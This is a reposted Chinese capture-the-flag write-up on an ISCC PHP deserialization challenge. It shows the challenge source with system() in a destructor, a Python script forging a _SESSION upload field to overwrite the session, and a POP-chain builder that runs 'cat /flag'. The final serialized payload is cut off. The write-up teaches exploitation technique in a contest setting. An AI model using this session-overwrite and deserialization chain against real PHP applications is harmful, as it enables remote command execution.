---------已搬运---------ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了---------已搬运---------ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,相关的知识,希望对你有一定的参考价值。

目录:

一、当时做,不会做,分析不出来。看WP

<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload 

    function __wakeup() 
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    

    function __destruct() 
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) 

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;


            if(is_uploaded_file($iscc_file['tmp_name'])) 

                $check = @getimagesize($iscc_file["tmp_name"]);

                if($check !== false) 

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) 
                        echo "想啥呢?有东西了……<br>";
                        finalize();
                        exit;
                    

                    if ($iscc_file["size"] > 500000) 
                        echo "东西塞不进去~<br>";
                        finalize();
                        exit;
                    

                    if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) 
                        echo "我拿到了!<br>";
                        $iscc_file = $target_file;
                        $status = "upload_ok";
                     else 
                        echo "拿不到:(<br>";
                        finalize();
                        exit;
                    

                 else 
                    finalize();
                    exit;
                

             else 
                echo "你真是个天才!<br>";
                finalize();
                exit;
            
        
    


class ISCC_ResetCMD 

    protected $new_cmd = "echo '新新世界,发号施令!'";

    function __wakeup() 
        global $cmd;
        global $is_upload;
        global $status;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;

        if(!isset($this->new_cmd)) 
            $status = "error";
            $error = "你这罐子是空的!";
            throw new Exception($error);
        

        if(!is_string($this->new_cmd)) 
            $status = "error";
            $error = '东西都没给对!';
            throw new Exception($error);
        
    

    function __destruct() 
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') 
            $cmd = $this->new_cmd;
        
    



class ISCC_Login 

    function __wakeup() 
        $this->login();
    

    function __destruct() 
        $this->logout();
    

    function login() 
        $flag = file_get_contents("/flag");
        $pAssM0rd = hash("sha256", $flag);
        if($_GET['pAssM0rd'] === $pAssM0rd)
            $_SESSION['name'] = "isccIsCciScc1scc";
    

    function logout() 
        global $status;
        unset($_SESSION['name']);
        $status = "finish";
    



class ISCC_TellMeTruth 

    function __wakeup() 
        if(!isset($_SESSION['name']))
            $_SESSION['name'] = randstr(14);
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    

    function __destruct() 
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    



class ISCC_Command 

    function __wakeup() 
        global $cmd;
        global $is_upload;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;
        $cmd = "whoami";
    

    function __toString() 
        global $cmd;
        return "看看你干的好事: $cmd <br>";
    

    function __destruct() 
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) 
            echo "看看你干的 [<span style='color:red'>$cmd</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        
    



function randstr($len)

    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
    $randstring = '';
    for ($i = 0; $i < $len; $i++) 
        $randstring .= $characters[rand(0, strlen($characters))];
    
    return $randstring;


function waf($s) 
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;


function finalize() 
    $cmd = "";
    $is_upload = false;
    unset($_SESSION);
    @unlink($iscc_file);
    $status = "finish";
    echo "<img src='whichisthetrueiscc.gif'><br>";



if(isset($_GET['whatareyounongshane'])) 
    $whatareyounongshane = $_GET['whatareyounongshane'];
    switch ($whatareyounongshane) 
        case "src":
            highlight_file(__FILE__);
            break;
        case "cmd":
            echo "想越级干好事?还是有门的……";
            header('Location: /?%3f=O:12:"ISCC_Command":0:');
            break;
        case "reset":
            echo "几辈子积累的好运就在这时~:p";
            header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:');
            break;
        case "upload":
            $resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:" method="post" enctype="multipart/form-data">
  <input type="file" name="iscc_file">
  <input type="submit" value="Upload Image" name="submit">
</form>
EOF;
            echo $resp;
            break;
        case "tellmetruth":
            echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
            header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:');
            break;
        default:
            echo "空空如也就是我!";
    
    finalize();
    die("所以哪个ISCC是真的?<br>");


if(isset($_GET['?'])) 

    $wtf = waf($_GET'?') ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

    if($goodshit = @unserialize($wtf)) 
        $is_unser_finished = true;
    

    if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
        finalize();
    die("所以哪个ISCC是真的?<br>");

?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

function __destruct() 
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) 
            echo "看看你干的 [<span style='color:red'>$cmd</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        
    

然后在ISCC_ResetCMD类里面对cmd进行重新赋值

class ISCC_ResetCMD 
    protected $new_cmd = "echo '新新世界,发号施令!'";
    function __destruct() 
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') 
            $cmd = $this->new_cmd;
        
    


但是要求:这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1sccSESSION。也就是$_SESSION['name']='isccIsCciScc1scc'才行,。那么就要覆盖session变量,

if($_SESSION['name'] === 'isccIsCciScc1scc') 
            $cmd = $this->new_cmd;
        

ISCC__Upload类:

class ISCC_Upload 

    function __wakeup() 
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    

    function __destruct() 
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) 

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_uploadtrue的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true.。在其他的类中,都将$is_upload设置为了false。所以就在这里操作。

这里了解一下$_FILES$_FILES通过TTP POST方式上传到当前脚本的项目的数组。
数组内容如下:

$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']      #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']      #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']    #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']       #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

传入这样的脚本,就能够实现session数组变量的覆盖了。 后面又分析,很细致的分析。

import requests
url="http://ip/aa/test1.php"
files=
    'iscc_file': ("b", 'content', 'bbb'),
    "_SESSION":("isccIsCciScc1scc","123")

headers=
    'Cookie':"XDEBUG_SESSION=PHPSTORM"

r=requests.post(url=url,files=files)
print(r.text)

那么来了:

我们要先执行upload的destruct来改变session。然后是reset的destruct,重写cmd。然后是comand的destruct。执行命令。

这里,顺序要倒过来看下面:序列化的顺序和反序列化调用destruct的顺序是相反的。

我们要在ISCC__Upload类执行__destruct之前,is_uploadtrue

这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链 --------------》?????

先是upload的destruct,然后是reset的destruct,然后是comand的destruct、

由于有一个waf函数,不能出现*号。

function waf($s) 
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要SCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

这个数组,就是用来控制顺序的。

<?php
class ISCC_Command 


class ISCC_ResetCMD 

    protected $new_cmd = "cat /flag";


class ISCC_Upload 

$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

结果是这个:
protected属性,*两边各有一个\\00,不可见字符,各占一个位置,

a:3:s:1:"a";O:11:"ISCC_Upload":0:s:1以上是关于---------已搬运---------ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,的主要内容,如果未能解决你的问题,请参考以下文章

ISCC 2020 Writeup

ISCC 2020 Writeup

ISCC2018 (比赛通知)

2021-05 ISCC竞赛

2021-05 ISCC竞赛

2021-05 ISCC竞赛